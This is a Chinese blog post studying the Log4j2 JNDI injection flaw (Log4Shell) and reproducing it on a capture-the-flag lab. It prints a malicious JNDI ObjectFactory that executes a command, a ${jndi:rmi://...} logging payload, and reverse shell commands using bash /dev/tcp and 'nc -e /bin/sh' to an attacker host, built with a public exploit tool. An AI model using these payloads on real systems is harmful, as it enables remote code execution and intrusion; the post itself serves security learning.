有关Log4j的初步学习

参考文章:https://blog.csdn.net/WX10301075WX/article/details/121878527

参考文章:http://blog.iis7.com/article/50296.html

漏洞分析

常规的日志写法

public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String content = "world";
        logger.trace("hello {}",content);
    }
}

lookups

不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明。

这功能强大啊,我们用demo看一下:

public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String content = "world";
        logger.trace("hello {}",content);

        //https://logging.apache.org/log4j/2.x/manual/lookups.html
        String content2 = "${java:os}";
        logger.trace("hello {}",content2);
        String content3 = "${java:vm}";
        logger.trace("hello {}",content3);
    }
}

输出的结果

2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)

Jndi Lookup

public class SimpleJndiServer {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            System.out.println("create rmi 1099");
            Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("demo", wrapper);
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}
public class JndiObj implements ObjectFactory {

    static {
        System.out.println("this is JndiObj,i'm here!");
        try {
            //打开远程链接
            Runtime.getRuntime().exec("mstsc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new JndiObj();
    }

    @Override
    public String toString() {
        return "JndiObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

写日志

public class Main {
    private static  final  Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        //JNDI注入参考链接
        //https://blog.csdn.net/caiqiiqi/article/details/105976072
        //192.168.31.13为客户端ip(攻击者ip),不是服务ip
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
        logger.trace("hello {}",content4);
    }
}

日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的192.168.31.13是本机ip,也就是攻击者的ip。写在JNDIOBJ对象上的日志信息是输出在日志服务上的。也就是说,通过JNDI(攻击者)成功的上传了自己的代码到用户服务中

漏洞复现

环境:ctfshow Log4j

1.反弹shell的命令

bash -i >& /dev/tcp/ip//port 0>&1
bash -i >& /dev/tcp/123.xx.117.201//9999 0>&1

2.然后使用如下网址来加密反弹shell命令

1
2
3
4
加密网址:
https://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell方法:
https://www.freebuf.com/articles/system/178150.html

图片

3.利用以下工具生成payload

https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

运行以下代码

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc [vps_ip] [9999] -e /bin/sh" -A [vps_ip]

一般选择最后一个红色部分作为payload
4.服务器开启监听

图片

5.之后在ctfshow上输入我们的payload

图片

6.即可成功反弹shell

图片

posted @ 2022-01-17 22:05  _Nov1ce  阅读(109)  评论(0编辑  收藏  举报